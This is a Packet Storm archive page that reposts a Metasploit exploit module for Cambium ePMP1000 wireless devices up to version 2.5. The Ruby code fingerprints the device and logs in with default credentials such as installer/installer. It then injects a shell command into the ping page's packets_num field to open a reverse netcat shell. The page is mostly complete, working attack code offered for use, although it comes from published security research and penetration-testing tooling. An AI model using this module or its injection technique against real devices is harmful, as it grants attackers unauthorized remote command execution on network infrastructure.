Twenty Year Anniversary

Cambium ePMP1000 2.5 Command Injection

Cambium ePMP1000 2.5 Command Injection
Posted Dec 29, 2017
Authored by Karn Ganeshen | Site metasploit.com

This Metasploit module exploits an OS Command Injection vulnerability in Cambium ePMP1000 device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to set up a reverse netcat shell.

tags | exploit, shell
MD5 | e8f57e714dbbdcf280d1f87e4b85a1b3

Cambium ePMP1000 2.5 Command Injection

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => "Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5)",
'Description' => %{
This module exploits an OS Command Injection vulnerability in Cambium
ePMP1000 device management portal. It requires any one of the following login
credentials - admin/admin, installer/installer, home/home - to set up a reverse
netcat shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'References' =>
[
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
],
'Privileged' => true,
'Targets' =>
[
['EPMP',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
]
],
'DisclosureDate' => 'Nov 28 2015',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })
)

register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
], self.class
)

deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
end

#
# Fingerprinting
#
def is_app_epmp1000?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end

good_response = (
res &&
res.code == 200 &&
(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
)

if good_response
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
if !get_epmp_ver.nil?
epmp_ver = get_epmp_ver[1]
if !epmp_ver.nil?
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
return true, epmp_ver
else
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
epmp_ver = ''
return true, epmp_ver
end
end
else
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")
epmp_ver = nil
return false
end
end

#
# check
#
def check
success, epmp_ver = is_app_epmp1000?
if (success != 'false' && !epmp_ver.nil? && epmp_ver < '2.5')
return CheckCode::Vulnerable
else
return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using ~the module~'
end
end

#
# Login
#
def login(user, pass)
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01'
},
'vars_post' =>
{
'username' => 'dashboard',
'password' => ''
}
}
)

cookies = res.get_cookies_parsed
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s

good_response = (
res &&
res.code == 200 &&
check_sysauth.include?('sysauth')
)

if good_response
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)

cookie1 = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"

res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'cookie' => cookie1,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Connection' => 'close'
},
'vars_post' =>
{
'username' => user,
'password' => pass
}
}
)

cookies = res.get_cookies_parsed

good_response = (
res &&
res.code == 200 &&
!res.body.include?('auth_failed')
)

if good_response
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")

# check if max_user_number_reached?
if !res.body.include?('max_user_number_reached')
# get the final cookie now
cookies = res.get_cookies_parsed
stok_value = cookies.has_key?('stok') && cookies['stok'].first
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)

final_cookie = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + stok_value

# create config_uri
config_uri_ping = '/cgi-bin/luci/;stok=' + stok_value + '/admin/ping'

return final_cookie, config_uri_ping
else
print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
final_cookie = 'skip'
config_uri_ping = 'skip'
return final_cookie, config_uri_ping
end
else
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
final_cookie = 'skip'
config_uri_ping = 'skip'
return final_cookie, config_uri_ping
end
end
end

#
# open cmd_shell
#
def cmd_shell(config_uri, cookie)
command = payload.encoded
inject = '|' + "#{command}" + ' ||'
clean_inject = CGI.unescapeHTML(inject.to_s)

print_status('Sending payload...')

res = send_request_cgi(
{
'method' => 'POST',
'uri' => config_uri,
'cookie' => cookie,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With' => 'XMLHttpRequest',
'Connection' => 'close'
},
'vars_post' =>
{
'ping_ip' => '127.0.0.1', # This parameter can also be used for injection
'packets_num' => clean_inject,
'buf_size' => 0,
'ttl' => 1,
'debug' => '0'
}
}, 25
)
handler
end

# exploit

def exploit
success, epmp_ver = is_app_epmp1000?
if epmp_ver < '2.5'
cookie, config_uri_ping = login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie == 'skip' && config_uri_ping == 'skip'
return
else
cmd_shell(config_uri_ping, cookie)
end
else
print_error('This ePMP version is not vulnerable. Module will not continue.')
return
end
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    18 Files
  • 15
    Aug 15th
    38 Files
  • 16
    Aug 16th
    16 Files
  • 17
    Aug 17th
    22 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close